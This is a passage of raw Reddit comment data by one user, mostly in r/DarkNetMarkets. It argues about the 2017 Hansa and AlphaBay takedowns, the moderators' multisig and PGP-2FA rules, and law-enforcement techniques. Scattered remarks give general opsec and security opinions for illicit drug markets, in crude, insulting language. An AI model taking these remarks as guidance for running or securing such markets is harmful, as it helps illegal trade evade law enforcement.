4864 "author_flair_text": null,
4865 "banned_at_utc": null,
4866 "body": "> Because they never have used the site.\n\noh please - infosec ppl are all over these sites. i know at least two ppl in infosec who maintain mirrors of the markets and forums and produce papers. most of the best analysis and writing about dnms, opsec, tor etc. comes out of that community \n\n> If I saw that email it is likely I would have either asked for a lot of money from 'Alpha02' to forget about it or asked the FBI for a lot of money for the bounty.\n\nhow do u know someone hasnt claimed a reward from the FBI? while most infosec ppl are sympathetic to the markets, there are def researchers who would tip of the feds if they found a lead because it would boost their own biz (this is exactly what bitkeeper did with Hansa)\n\n*still* havent seen or heard a credible timeline to how this case was built with parallel reconstruction - while there are many plausible and credible theories to how this all happen without it ",
4867 "can_gild": true,
4868 "can_mod_post": false,
4869 "collapsed": false,
4870 "collapsed_reason": null,
4871 "created_utc": 1501055149,
4872 "id": "dkqhisf",
4873 "is_submitter": false,
4874 "link_id": "t3_6pjlip",
4875 "parent_id": "t1_dkqdxhl",
4876 "score": 1,
4877 "stickied": false,
4878 "subreddit": "DarkNetMarkets",
4879 "subreddit_id": "t5_2yt0h"
4880 },
4881 {
4882 "approved_at_utc": null,
4883 "author": "t0mcheck",
4884 "author_flair_css_class": null,
4885 "author_flair_text": null,
4886 "banned_at_utc": null,
4887 "body": "because if you use multisig then you aren't vulnerable to this\n\n/s",
4888 "can_gild": true,
4889 "can_mod_post": false,
4890 "collapsed": false,
4891 "collapsed_reason": null,
4892 "created_utc": 1501047391,
4893 "id": "dkqdrhg",
4894 "is_submitter": false,
4895 "link_id": "t3_6pi0et",
4896 "parent_id": "t1_dkpzo12",
4897 "score": 2,
4898 "stickied": false,
4899 "subreddit": "DankNation",
4900 "subreddit_id": "t5_39mmb"
4901 },
4902 {
4903 "approved_at_utc": null,
4904 "author": "t0mcheck",
4905 "author_flair_css_class": null,
4906 "author_flair_text": null,
4907 "banned_at_utc": null,
4908 "body": "No what *you* aren't understanding is that you can't get from that to the indictment and the evidence within it\n\nThe fact that you can't get beyond step 1. is demonstration of why all these calls about \"parallel reconstruction\" are complete bullshit ",
4909 "can_gild": true,
4910 "can_mod_post": false,
4911 "collapsed": false,
4912 "collapsed_reason": null,
4913 "created_utc": 1501047154,
4914 "id": "dkqdmlx",
4915 "is_submitter": false,
4916 "link_id": "t3_6pjlip",
4917 "parent_id": "t1_dkqcw6q",
4918 "score": 1,
4919 "stickied": false,
4920 "subreddit": "DarkNetMarkets",
4921 "subreddit_id": "t5_2yt0h"
4922 },
4923 {
4924 "approved_at_utc": null,
4925 "author": "t0mcheck",
4926 "author_flair_css_class": null,
4927 "author_flair_text": null,
4928 "banned_at_utc": null,
4929 "body": "I know that - I want you to explain the steps of how it would happen from the law enforcement end. ie.\n\n1. step 1. the FBI use their leet tor exploit to discover AlphaBay is at IP whatever\n1. step 2. you fill in the rest that gets us to the indictment \n\nIf you think it through it doesn't make sense - which is why not a single infosec expert on twitter or on blogs is saying this - its just junkies here and on other forums who don't know what the fuck they are talkin about",
4930 "can_gild": true,
4931 "can_mod_post": false,
4932 "collapsed": false,
4933 "collapsed_reason": null,
4934 "created_utc": 1501045663,
4935 "id": "dkqcr7d",
4936 "is_submitter": false,
4937 "link_id": "t3_6pjlip",
4938 "parent_id": "t1_dkqcn4q",
4939 "score": 1,
4940 "stickied": false,
4941 "subreddit": "DarkNetMarkets",
4942 "subreddit_id": "t5_2yt0h"
4943 },
4944 {
4945 "approved_at_utc": null,
4946 "author": "t0mcheck",
4947 "author_flair_css_class": null,
4948 "author_flair_text": null,
4949 "banned_at_utc": null,
4950 "body": "> You have to be a retard to open that\n\nthe lockfile changed from a txt to an xls while Hansa was under LE control and everyone here was all \"omg that is so awesomely convenient i love the excels\" \n\nthat gives you an idea of the type of ppl you are dealing with here - and why you can set your clock to these markets being owned periodically ",
4951 "can_gild": true,
4952 "can_mod_post": false,
4953 "collapsed": false,
4954 "collapsed_reason": null,
4955 "created_utc": 1501045450,
4956 "id": "dkqcmi7",
4957 "is_submitter": false,
4958 "link_id": "t3_6ph4s6",
4959 "parent_id": "t1_dkpxzlz",
4960 "score": 1,
4961 "stickied": false,
4962 "subreddit": "DarkNetMarkets",
4963 "subreddit_id": "t5_2yt0h"
4964 },
4965 {
4966 "approved_at_utc": null,
4967 "author": "t0mcheck",
4968 "author_flair_css_class": null,
4969 "author_flair_text": null,
4970 "banned_at_utc": null,
4971 "body": "itt ppl using \"parallel construction\" and not knowing what it means or how it would apply in this case.\n\nplease explain how finding this email address or uncovering who alpha02 was is parallel construction - i'll be waiting right here\n\n\"parallel construction\" has become just a catch-all term for people who don't know what the fuck they are talking about but want to sound eerie and elite ",
4972 "can_gild": true,
4973 "can_mod_post": false,
4974 "collapsed": false,
4975 "collapsed_reason": null,
4976 "created_utc": 1501043896,
4977 "id": "dkqbn2q",
4978 "is_submitter": false,
4979 "link_id": "t3_6pjlip",
4980 "parent_id": "t1_dkq098p",
4981 "score": 3,
4982 "stickied": false,
4983 "subreddit": "DarkNetMarkets",
4984 "subreddit_id": "t5_2yt0h"
4985 },
4986 {
4987 "approved_at_utc": null,
4988 "author": "t0mcheck",
4989 "author_flair_css_class": null,
4990 "author_flair_text": null,
4991 "banned_at_utc": null,
4992 "body": "find 4000 more bugs in dream and buy ur own lambo\n\nshould take u a week gl\n",
4993 "can_gild": true,
4994 "can_mod_post": false,
4995 "collapsed": false,
4996 "collapsed_reason": null,
4997 "created_utc": 1501043674,
4998 "id": "dkqbhyl",
4999 "is_submitter": false,
5000 "link_id": "t3_6pi7hf",
5001 "parent_id": "t1_dkpnybu",
5002 "score": 2,
5003 "stickied": false,
5004 "subreddit": "DarkNetMarkets",
5005 "subreddit_id": "t5_2yt0h"
5006 },
5007 {
5008 "approved_at_utc": null,
5009 "author": "t0mcheck",
5010 "author_flair_css_class": null,
5011 "author_flair_text": null,
5012 "banned_at_utc": null,
5013 "body": "this is pretty much what most vendor markets are - wordpress + woocommerce and some bitcoin plugins. they are a clusterfuck just waitin to happen",
5014 "can_gild": true,
5015 "can_mod_post": false,
5016 "collapsed": false,
5017 "collapsed_reason": null,
5018 "created_utc": 1501043231,
5019 "id": "dkqb73s",
5020 "is_submitter": false,
5021 "link_id": "t3_6pfu4t",
5022 "parent_id": "t1_dkp3tta",
5023 "score": 1,
5024 "stickied": false,
5025 "subreddit": "DarkNetMarkets",
5026 "subreddit_id": "t5_2yt0h"
5027 },
5028 {
5029 "approved_at_utc": null,
5030 "author": "t0mcheck",
5031 "author_flair_css_class": null,
5032 "author_flair_text": null,
5033 "banned_at_utc": null,
5034 "body": "lol why is it so hard to believe people work in dev - there are hundreds of thousands of people who do just that and the job is in high demand\n\nthe reason why you have all these opsec plebs step up to run markets is because dev and infosec *pay so fucking well* and the pros stay home and just order drugz",
5035 "can_gild": true,
5036 "can_mod_post": false,
5037 "collapsed": false,
5038 "collapsed_reason": null,
5039 "created_utc": 1501043180,
5040 "id": "dkqb5ur",
5041 "is_submitter": false,
5042 "link_id": "t3_6pfu4t",
5043 "parent_id": "t1_dkq2vqe",
5044 "score": 4,
5045 "stickied": false,
5046 "subreddit": "DarkNetMarkets",
5047 "subreddit_id": "t5_2yt0h"
5048 },
5049 {
5050 "approved_at_utc": null,
5051 "author": "t0mcheck",
5052 "author_flair_css_class": null,
5053 "author_flair_text": null,
5054 "banned_at_utc": null,
5055 "body": "no because you said hansa, alpha and this shitty market were secure hahaha",
5056 "can_gild": true,
5057 "can_mod_post": false,
5058 "collapsed": false,
5059 "collapsed_reason": null,
5060 "created_utc": 1501017151,
5061 "id": "dkpq60o",
5062 "is_submitter": false,
5063 "link_id": "t3_6p2xun",
5064 "parent_id": "t1_dkotnjs",
5065 "score": 2,
5066 "stickied": false,
5067 "subreddit": "DarkNetMarkets",
5068 "subreddit_id": "t5_2yt0h"
5069 },
5070 {
5071 "approved_at_utc": null,
5072 "author": "t0mcheck",
5073 "author_flair_css_class": null,
5074 "author_flair_text": null,
5075 "banned_at_utc": null,
5076 "body": "shows what the fuck you know .. again",
5077 "can_gild": true,
5078 "can_mod_post": false,
5079 "collapsed": false,
5080 "collapsed_reason": null,
5081 "created_utc": 1500955156,
5082 "id": "dkojn0w",
5083 "is_submitter": false,
5084 "link_id": "t3_6p2xun",
5085 "parent_id": "t1_dkn72yu",
5086 "score": 2,
5087 "stickied": false,
5088 "subreddit": "DarkNetMarkets",
5089 "subreddit_id": "t5_2yt0h"
5090 },
5091 {
5092 "approved_at_utc": null,
5093 "author": "t0mcheck",
5094 "author_flair_css_class": null,
5095 "author_flair_text": null,
5096 "banned_at_utc": null,
5097 "body": "he also said Hansa is secure and well built. that guy is an idiot.\n\nif he's the resident security expert around here then its little wonder you can set a clock to you guys getting completely owned regularly lol",
5098 "can_gild": true,
5099 "can_mod_post": false,
5100 "collapsed": false,
5101 "collapsed_reason": null,
5102 "created_utc": 1500954850,
5103 "id": "dkojfpf",
5104 "is_submitter": false,
5105 "link_id": "t3_6p2xun",
5106 "parent_id": "t1_dkmep9u",
5107 "score": 2,
5108 "stickied": false,
5109 "subreddit": "DarkNetMarkets",
5110 "subreddit_id": "t5_2yt0h"
5111 },
5112 {
5113 "approved_at_utc": null,
5114 "author": "t0mcheck",
5115 "author_flair_css_class": null,
5116 "author_flair_text": null,
5117 "banned_at_utc": null,
5118 "body": "> It was confirmed to be a display/UI bug and nothing more serious.\n\nlol downplay that shit lol....\n\nif you can't sanatize the main field on ur site then u cant do shit ",
5119 "can_gild": true,
5120 "can_mod_post": false,
5121 "collapsed": false,
5122 "collapsed_reason": null,
5123 "created_utc": 1500954809,
5124 "id": "dkojep5",
5125 "is_submitter": false,
5126 "link_id": "t3_6p2xun",
5127 "parent_id": "t1_dkneu2f",
5128 "score": 0,
5129 "stickied": false,
5130 "subreddit": "DarkNetMarkets",
5131 "subreddit_id": "t5_2yt0h"
5132 },
5133 {
5134 "approved_at_utc": null,
5135 "author": "t0mcheck",
5136 "author_flair_css_class": null,
5137 "author_flair_text": null,
5138 "banned_at_utc": null,
5139 "body": "someone [posted simple security bugs in sourcery](https://www.reddit.com/r/DarkNetMarkets/comments/6p2xun/new_market_announcement/dkmcal0/) in the announcement thread. not sure why there isn't a warning on the superlist - probably because the mods are fucking useless (and biased)",
5140 "can_gild": true,
5141 "can_mod_post": false,
5142 "collapsed": false,
5143 "collapsed_reason": null,
5144 "created_utc": 1500954671,
5145 "edited": 1500955132,
5146 "id": "dkojbde",
5147 "is_submitter": false,
5148 "link_id": "t3_6pdomo",
5149 "parent_id": "t3_6pdomo",
5150 "score": 1,
5151 "stickied": false,
5152 "subreddit": "DarkNetMarkets",
5153 "subreddit_id": "t5_2yt0h"
5154 },
5155 {
5156 "approved_at_utc": null,
5157 "author": "t0mcheck",
5158 "author_flair_css_class": null,
5159 "author_flair_text": null,
5160 "banned_at_utc": null,
5161 "body": "> I find it hard to belive someone smart enough to build HANSA\n\nHansa was terribly built. That resident security expert you guys have around here that keeps saying all these markets were secure is an idiot. ",
5162 "can_gild": true,
5163 "can_mod_post": false,
5164 "collapsed": false,
5165 "collapsed_reason": null,
5166 "created_utc": 1500872766,
5167 "id": "dkmy344",
5168 "is_submitter": false,
5169 "link_id": "t3_6p2d34",
5170 "parent_id": "t1_dkmeddq",
5171 "score": 2,
5172 "stickied": false,
5173 "subreddit": "DarkNetMarkets",
5174 "subreddit_id": "t5_2yt0h"
5175 },
5176 {
5177 "approved_at_utc": null,
5178 "author": "t0mcheck",
5179 "author_flair_css_class": null,
5180 "author_flair_text": null,
5181 "banned_at_utc": null,
5182 "body": "he wasn't on trial or convicted for the \"murders\"",
5183 "can_gild": true,
5184 "can_mod_post": false,
5185 "collapsed": false,
5186 "collapsed_reason": null,
5187 "created_utc": 1500825287,
5188 "id": "dkly8q5",
5189 "is_submitter": false,
5190 "link_id": "t3_6oza0q",
5191 "parent_id": "t1_dkluw76",
5192 "score": 1,
5193 "stickied": false,
5194 "subreddit": "DarkNetMarkets",
5195 "subreddit_id": "t5_2yt0h"
5196 },
5197 {
5198 "approved_at_utc": null,
5199 "author": "t0mcheck",
5200 "author_flair_css_class": null,
5201 "author_flair_text": null,
5202 "banned_at_utc": null,
5203 "body": "don't think Ross will spend his life in jail - future presidential pardon or drug law reform\n\nhistory will not judge sentences like Ross's well and Obama has already pardoned a bunch of drug convicts with life",
5204 "can_gild": true,
5205 "can_mod_post": false,
5206 "collapsed": false,
5207 "collapsed_reason": null,
5208 "created_utc": 1500810231,
5209 "id": "dklpydf",
5210 "is_submitter": false,
5211 "link_id": "t3_6oza0q",
5212 "parent_id": "t1_dklmudu",
5213 "score": 5,
5214 "stickied": false,
5215 "subreddit": "DarkNetMarkets",
5216 "subreddit_id": "t5_2yt0h"
5217 },
5218 {
5219 "approved_at_utc": null,
5220 "author": "t0mcheck",
5221 "author_flair_css_class": null,
5222 "author_flair_text": null,
5223 "banned_at_utc": null,
5224 "body": "and i'll remind you that the superlist *still* recommends users only use multisig markets and distinguishes them\n\ni bet you couldn't even explain what makes secure multisig and what makes a fuckup like Hansa",
5225 "can_gild": true,
5226 "can_mod_post": false,
5227 "collapsed": false,
5228 "collapsed_reason": null,
5229 "created_utc": 1500805319,
5230 "id": "dklobbh",
5231 "is_submitter": false,
5232 "link_id": "t3_6owfj3",
5233 "parent_id": "t1_dklmnh3",
5234 "score": 1,
5235 "stickied": false,
5236 "subreddit": "DarkNetMarkets",
5237 "subreddit_id": "t5_2yt0h"
5238 },
5239 {
5240 "approved_at_utc": null,
5241 "author": "t0mcheck",
5242 "author_flair_css_class": null,
5243 "author_flair_text": null,
5244 "banned_at_utc": null,
5245 "body": "stop stickying your security advice threads - you've been shown time and again by numerous people in the comments why you're wrong or mislead\n\nyou're a mod because you are trusted to remove spam - not because your security advice is flawless \n\nlet your content compete with the rest of us ",
5246 "can_gild": true,
5247 "can_mod_post": false,
5248 "collapsed": false,
5249 "collapsed_reason": null,
5250 "created_utc": 1500805217,
5251 "id": "dkloa3g",
5252 "is_submitter": false,
5253 "link_id": "t3_6oy4f5",
5254 "parent_id": "t1_dklml8u",
5255 "score": 8,
5256 "stickied": false,
5257 "subreddit": "DarkNetMarkets",
5258 "subreddit_id": "t5_2yt0h"
5259 },
5260 {
5261 "approved_at_utc": null,
5262 "author": "t0mcheck",
5263 "author_flair_css_class": null,
5264 "author_flair_text": null,
5265 "banned_at_utc": null,
5266 "body": "dude you literally mandated multisig for all endorsed markets 6 days ago. that lead people to think Hansa was the shit. you were wrong, admit it and live with it",
5267 "can_gild": true,
5268 "can_mod_post": false,
5269 "collapsed": false,
5270 "collapsed_reason": null,
5271 "created_utc": 1500805074,
5272 "id": "dklo8eq",
5273 "is_submitter": false,
5274 "link_id": "t3_6owfj3",
5275 "parent_id": "t1_dklmnh3",
5276 "score": 1,
5277 "stickied": false,
5278 "subreddit": "DarkNetMarkets",
5279 "subreddit_id": "t5_2yt0h"
5280 },
5281 {
5282 "approved_at_utc": null,
5283 "author": "t0mcheck",
5284 "author_flair_css_class": null,
5285 "author_flair_text": null,
5286 "banned_at_utc": null,
5287 "body": "Hansa shills much more vocal than AB shills since they can sticky threads and mod flair their shilling",
5288 "can_gild": true,
5289 "can_mod_post": false,
5290 "collapsed": false,
5291 "collapsed_reason": null,
5292 "created_utc": 1500792150,
5293 "id": "dkljpyx",
5294 "is_submitter": false,
5295 "link_id": "t3_6owmei",
5296 "parent_id": "t1_dkl9suw",
5297 "score": 0,
5298 "stickied": false,
5299 "subreddit": "DarkNetMarkets",
5300 "subreddit_id": "t5_2yt0h"
5301 },
5302 {
5303 "approved_at_utc": null,
5304 "author": "t0mcheck",
5305 "author_flair_css_class": null,
5306 "author_flair_text": null,
5307 "banned_at_utc": null,
5308 "body": "spent more effort on his cheating on wife opsec than his dnm opsec",
5309 "can_gild": true,
5310 "can_mod_post": false,
5311 "collapsed": false,
5312 "collapsed_reason": null,
5313 "created_utc": 1500788724,
5314 "id": "dkli75j",
5315 "is_submitter": false,
5316 "link_id": "t3_6oza0q",
5317 "parent_id": "t3_6oza0q",
5318 "score": 85,
5319 "stickied": false,
5320 "subreddit": "DarkNetMarkets",
5321 "subreddit_id": "t5_2yt0h"
5322 },
5323 {
5324 "approved_at_utc": null,
5325 "author": "t0mcheck",
5326 "author_flair_css_class": null,
5327 "author_flair_text": null,
5328 "banned_at_utc": null,
5329 "body": "seriously the mod content needs to stop. 6 days ago the new superlist rules were posted and it was horrible. it was pointed out at the time in the thread by actual security ppl that the rules were dumb \n\nrules like 'market must use multisig' is what lead people to switch to hansa - even tho we pointed out not all multisig is equal. now the mod just throws up his hands and says 'multisig is complicated!' and gets no shit\n\nmod thread stayed at the top of the sub for 3 days and was read by thousands. actual security expert comments are all on 1 point meaning no one read them\n\nits happen again today. this is surreal to not just do it once and get caught out, but to do it again and learn zero lessons. \n\nthe appeal to authority really needs to stop ",
5330 "can_gild": true,
5331 "can_mod_post": false,
5332 "collapsed": false,
5333 "collapsed_reason": null,
5334 "created_utc": 1500775324,
5335 "id": "dkla3e0",
5336 "is_submitter": false,
5337 "link_id": "t3_6oy4f5",
5338 "parent_id": "t1_dkl9qje",
5339 "score": 7,
5340 "stickied": false,
5341 "subreddit": "DarkNetMarkets",
5342 "subreddit_id": "t5_2yt0h"
5343 },
5344 {
5345 "approved_at_utc": null,
5346 "author": "t0mcheck",
5347 "author_flair_css_class": null,
5348 "author_flair_text": null,
5349 "banned_at_utc": null,
5350 "body": "> I ignored all the \"technical issues\" threads on here about Hansa and jumped like a lemming.\n\nThe biggest failure and one that needs to be addresses asap is the bias towards some markets in this sub (Hansa) and against others based on misinformation and bad data\n\nthere were plenty of threads about hansa having problems - the last 3-4 days of users who deposited could have saved their funds if anybody here had taken notice\n\nhad any other market had problems with withdrawals the threads would have been stickied to the stop of this sub - but because it was Hansa the threads rotted away in 30+ position with not much notice \n\ni [pointed this out at the time](https://www.reddit.com/r/DarkNetMarkets/comments/6obvvj/the_expected_massive_migration_to_hansa_is_not/dkgqda9/)\n\nthere was also that silly multisig requirement in the new superlist rules, which is part of what drove everyone to hansa. people who said not all multisig was created equal were ignored. history judged us correct\n\nimo this is a complete an utter damnation of this sub and it appears that nobody has still learned anything from it\n\n",
5351 "can_gild": true,
5352 "can_mod_post": false,
5353 "collapsed": false,
5354 "collapsed_reason": null,
5355 "created_utc": 1500774978,
5356 "id": "dkl9utu",
5357 "is_submitter": false,
5358 "link_id": "t3_6oxkid",
5359 "parent_id": "t3_6oxkid",
5360 "score": 5,
5361 "stickied": false,
5362 "subreddit": "DarkNetMarkets",
5363 "subreddit_id": "t5_2yt0h"
5364 },
5365 {
5366 "approved_at_utc": null,
5367 "author": "t0mcheck",
5368 "author_flair_css_class": null,
5369 "author_flair_text": null,
5370 "banned_at_utc": null,
5371 "body": "> The psychological warfare component they are inflicting is brilliant on their part.\n\nthe most brilliant part of that plan was having mods in this sub not just believe them, but post mod threads stickied at the top of this sub parroting it\n\nthe dutch must high-five each other each time /u/wombat2combat stickies yet another thread that repeats evertyhgin they want us to believe ",
5372 "can_gild": true,
5373 "can_mod_post": false,
5374 "collapsed": false,
5375 "collapsed_reason": null,
5376 "created_utc": 1500774702,
5377 "id": "dkl9o1q",
5378 "is_submitter": false,
5379 "link_id": "t3_6oy4f5",
5380 "parent_id": "t1_dkl3urv",
5381 "score": 8,
5382 "stickied": false,
5383 "subreddit": "DarkNetMarkets",
5384 "subreddit_id": "t5_2yt0h"
5385 },
5386 {
5387 "approved_at_utc": null,
5388 "author": "t0mcheck",
5389 "author_flair_css_class": null,
5390 "author_flair_text": null,
5391 "banned_at_utc": null,
5392 "body": "look at my modmail thread with the mods and tell me again that the mods are great or sane or stable\n\nalso look at the incident before the busts where a user had his thread removed for being against the party line of multisig is our personal jesus christ and savior \n\nalso look at how much FUD has floated to the top of this sub since the hacks - almost all of it unfounded (the dream IP address, the tor 'attack', the hansa takeover producing ip addresses)\n\nalso look at the shift to appeal to authority in this sub. faaaaar to much content posted and marked by mods being treated as gospel - a lot of it horribly wrong.\n\nmod appeal to authority here is what got people preaching about how awesome and great Hansa is \n\nimo since you are using alts for mod accounts that means it should be easy for mods to never post content ",
5393 "can_gild": true,
5394 "can_mod_post": false,
5395 "collapsed": false,
5396 "collapsed_reason": null,
5397 "created_utc": 1500774596,
5398 "id": "dkl9li5",
5399 "is_submitter": false,
5400 "link_id": "t3_6oy4f5",
5401 "parent_id": "t3_6oy4f5",
5402 "score": 21,
5403 "stickied": false,
5404 "subreddit": "DarkNetMarkets",
5405 "subreddit_id": "t5_2yt0h"
5406 },
5407 {
5408 "approved_at_utc": null,
5409 "author": "t0mcheck",
5410 "author_flair_css_class": null,
5411 "author_flair_text": null,
5412 "banned_at_utc": null,
5413 "body": "add in the horrible infosec advice to markets and users \n\nye this is absurd and surreal",
5414 "can_gild": true,
5415 "can_mod_post": false,
5416 "collapsed": false,
5417 "collapsed_reason": null,
5418 "created_utc": 1500774143,
5419 "id": "dkl9ajn",
5420 "is_submitter": false,
5421 "link_id": "t3_6owmei",
5422 "parent_id": "t1_dkl70mt",
5423 "score": 3,
5424 "stickied": false,
5425 "subreddit": "DarkNetMarkets",
5426 "subreddit_id": "t5_2yt0h"
5427 },
5428 {
5429 "approved_at_utc": null,
5430 "author": "t0mcheck",
5431 "author_flair_css_class": null,
5432 "author_flair_text": null,
5433 "banned_at_utc": null,
5434 "body": "> Even after getting shit on repeatedly for warning users not to use AB\n\nHow did Hansa work out for everyone?",
5435 "can_gild": true,
5436 "can_mod_post": false,
5437 "collapsed": false,
5438 "collapsed_reason": null,
5439 "created_utc": 1500774092,
5440 "id": "dkl99bs",
5441 "is_submitter": false,
5442 "link_id": "t3_6owmei",
5443 "parent_id": "t3_6owmei",
5444 "score": 6,
5445 "stickied": false,
5446 "subreddit": "DarkNetMarkets",
5447 "subreddit_id": "t5_2yt0h"
5448 },
5449 {
5450 "approved_at_utc": null,
5451 "author": "t0mcheck",
5452 "author_flair_css_class": null,
5453 "author_flair_text": null,
5454 "banned_at_utc": null,
5455 "body": "> they all never used multisig properly as explained in my post. we therefore have to properly understand, implement and use it.\n\nyou never pointed out how to use multisig properly. 6 days ago your new superlist requirements simply said 'must use multisig'\n\nthe mod circlejerk on here around multisig is what lead people to switch to Hansa and what lead to them losing their funds\n\nat what point does this hit you across the head and do you realize that you gave out and endorsed **bad** advice?\n\nyou have shifted your view on multisig in the past 7 days without making a note of that shit. i noticed because i called u out on it ",
5456 "can_gild": true,
5457 "can_mod_post": false,
5458 "collapsed": false,
5459 "collapsed_reason": null,
5460 "created_utc": 1500773997,
5461 "id": "dkl9748",
5462 "is_submitter": false,
5463 "link_id": "t3_6owfj3",
5464 "parent_id": "t1_dkkyeb5",
5465 "score": 3,
5466 "stickied": false,
5467 "subreddit": "DarkNetMarkets",
5468 "subreddit_id": "t5_2yt0h"
5469 },
5470 {
5471 "approved_at_utc": null,
5472 "author": "t0mcheck",
5473 "author_flair_css_class": null,
5474 "author_flair_text": null,
5475 "banned_at_utc": null,
5476 "body": "your level of FUD'ing in the first two paragraphs is recklessly insane. they don't have IPs - we (meaning the actual experts) would have noticed endpoint exploits on Hansa or AB\n\nthey also wouldn't wind the case up at this point if they did. they are just using what they got to FUD the fuck out of people like you into scaring you away\n\nlook at the FAQ they left on Hansa - only 3 questions and one of them hints at a Tor compromise. that should tell u all you need to know about what their motives are\n\nall complete bullshit and you re not just buying into it, but supporting it and playing their role for em",
5477 "can_gild": true,
5478 "can_mod_post": false,
5479 "collapsed": false,
5480 "collapsed_reason": null,
5481 "created_utc": 1500773483,
5482 "id": "dkl8uur",
5483 "is_submitter": false,
5484 "link_id": "t3_6owfj3",
5485 "parent_id": "t1_dkkrdwp",
5486 "score": 3,
5487 "stickied": false,
5488 "subreddit": "DarkNetMarkets",
5489 "subreddit_id": "t5_2yt0h"
5490 },
5491 {
5492 "approved_at_utc": null,
5493 "author": "t0mcheck",
5494 "author_flair_css_class": null,
5495 "author_flair_text": null,
5496 "banned_at_utc": null,
5497 "body": "i'll also add that you are putting this subreddit in danger. one of the reasons this sub has lasted for so long is because it has been a place where links and comments are posted. right now it is hard to distinguish this place from the internal project planning board for the next DNM",
5498 "can_gild": true,
5499 "can_mod_post": false,
5500 "collapsed": false,
5501 "collapsed_reason": null,
5502 "created_utc": 1500773100,
5503 "id": "dkl8loa",
5504 "is_submitter": false,
5505 "link_id": "t3_6owfj3",
5506 "parent_id": "t1_dkl8gqi",
5507 "score": 1,
5508 "stickied": false,
5509 "subreddit": "DarkNetMarkets",
5510 "subreddit_id": "t5_2yt0h"
5511 },
5512 {
5513 "approved_at_utc": null,
5514 "author": "t0mcheck",
5515 "author_flair_css_class": null,
5516 "author_flair_text": null,
5517 "banned_at_utc": null,
5518 "body": "I don't understand why mods are still endorsing market or security practices and stickying threads like this especially after the week the DNMs just had\n\nI mean no offense to you - as it is clear that you have a lot of energy and want to do something constructive - but writing security advice like this an putting a mod seal of approval on it when it is largely bad advice is not a good idea\n\nYou all should really have learned from the most recent busts and stopped doing that. Let market admins runs markets, let security people post content and let the mods mod (remove spam, etc.) \n\na legit security expert has little hope de-FUD'ing and countering bad content here if you're going to mod approve it\n\nI'll give you just two examples. Last week when you posted the new superlist rules I pointed [out flaws in them](https://www.reddit.com/r/DNMSuperlist/comments/6oaqib/removed_alphabay_and_new_market_listing_criteria/dkgrjsz/) and its interesting that the very flaws I mention you denied at the time, but have proven to be true:\n\n> A blanket requirement on multi-sig doesn't work because there are different types of multi-sig. This could encourage markets to put together very weak versions of multi-sig where there is no benefit at all (ie. 2 of 2 with one part done on the server and the second part done automatically on order)\n\nthat is from before Hansa was compromised\n\n> likewise 2FA PGP - you'd prefer any other 2FA since PGP signing can't be denied\n\nthat was before your new recommendations about improving 2fa (although you still insist on PGP - which isn't good 2fa and you are getting close to figuring out why)\n\nmods here shouldn't be designing markets, they also shouldn't be endorsing content - please allow security advice to float up on its merits, not based on appeal to authority",
5519 "can_gild": true,
5520 "can_mod_post": false,
5521 "collapsed": false,
5522 "collapsed_reason": null,
5523 "created_utc": 1500772892,
5524 "id": "dkl8gqi",
5525 "is_submitter": false,
5526 "link_id": "t3_6owfj3",
5527 "parent_id": "t3_6owfj3",
5528 "score": 2,
5529 "stickied": false,
5530 "subreddit": "DarkNetMarkets",
5531 "subreddit_id": "t5_2yt0h"
5532 },
5533 {
5534 "approved_at_utc": null,
5535 "author": "t0mcheck",
5536 "author_flair_css_class": null,
5537 "author_flair_text": null,
5538 "banned_at_utc": null,
5539 "body": "PlayPen was uncovering visitor IPs using a Firefox/TorBrowser exploit",
5540 "can_gild": true,
5541 "can_mod_post": false,
5542 "collapsed": false,
5543 "collapsed_reason": null,
5544 "created_utc": 1500711988,
5545 "id": "dkk6r5u",
5546 "is_submitter": false,
5547 "link_id": "t3_6oqhdu",
5548 "parent_id": "t1_dkjpimx",
5549 "score": 1,
5550 "stickied": false,
5551 "subreddit": "DarkNetMarkets",
5552 "subreddit_id": "t5_2yt0h"
5553 },
5554 {
5555 "approved_at_utc": null,
5556 "author": "t0mcheck",
5557 "author_flair_css_class": null,
5558 "author_flair_text": null,
5559 "banned_at_utc": null,
5560 "body": "If you've been around DNM's long enough you're not surprised by much - especially not that a guy who used his real email address on a darknet forum wouldn't have a deadswitch",
5561 "can_gild": true,
5562 "can_mod_post": false,
5563 "collapsed": false,
5564 "collapsed_reason": null,
5565 "created_utc": 1500709760,
5566 "id": "dkk5xs1",
5567 "is_submitter": false,
5568 "link_id": "t3_6on5kd",
5569 "parent_id": "t1_dkimmy3",
5570 "score": 1,
5571 "stickied": false,
5572 "subreddit": "DarkNetMarkets",
5573 "subreddit_id": "t5_2yt0h"
5574 },
5575 {
5576 "approved_at_utc": null,
5577 "author": "t0mcheck",
5578 "author_flair_css_class": null,
5579 "author_flair_text": null,
5580 "banned_at_utc": null,
5581 "body": "> And now that's failed, they want to blame the network for their irresponsibility.\n> \n\nWho this is so true. See the multisig and other requirements on the superlist - it's essentially written for Hansa ([i took issue with it](https://www.reddit.com/r/DNMSuperlist/comments/6oaqib/removed_alphabay_and_new_market_listing_criteria/dkgrjsz/?context=3))\n\nnow that it super-failed it *must* be the fault of Tor or anyone else\n\nThe mods here need a shakeup - it was never like this previously",
5582 "can_gild": true,
5583 "can_mod_post": false,
5584 "collapsed": false,
5585 "collapsed_reason": null,
5586 "created_utc": 1500709631,
5587 "id": "dkk5w29",
5588 "is_submitter": false,
5589 "link_id": "t3_6orp2q",
5590 "parent_id": "t1_dkjygkw",
5591 "score": 1,
5592 "stickied": false,
5593 "subreddit": "DarkNetMarkets",
5594 "subreddit_id": "t5_2yt0h"
5595 },
5596 {
5597 "approved_at_utc": null,
5598 "author": "t0mcheck",
5599 "author_flair_css_class": null,
5600 "author_flair_text": null,
5601 "banned_at_utc": null,
5602 "body": "There needs to be stricter monitoring of the FUD threads - you all are just freaking people out\n\nThe Tor thread was largely nonsense and the other thread about the Dream IP address was much the same ",
5603 "can_gild": true,
5604 "can_mod_post": false,
5605 "collapsed": false,
5606 "collapsed_reason": null,
5607 "created_utc": 1500709511,
5608 "id": "dkk5ugo",
5609 "is_submitter": false,
5610 "link_id": "t3_6orp2q",
5611 "parent_id": "t3_6orp2q",
5612 "score": 2,
5613 "stickied": false,
5614 "subreddit": "DarkNetMarkets",
5615 "subreddit_id": "t5_2yt0h"
5616 },
5617 {
5618 "approved_at_utc": null,
5619 "author": "t0mcheck",
5620 "author_flair_css_class": null,
5621 "author_flair_text": null,
5622 "banned_at_utc": null,
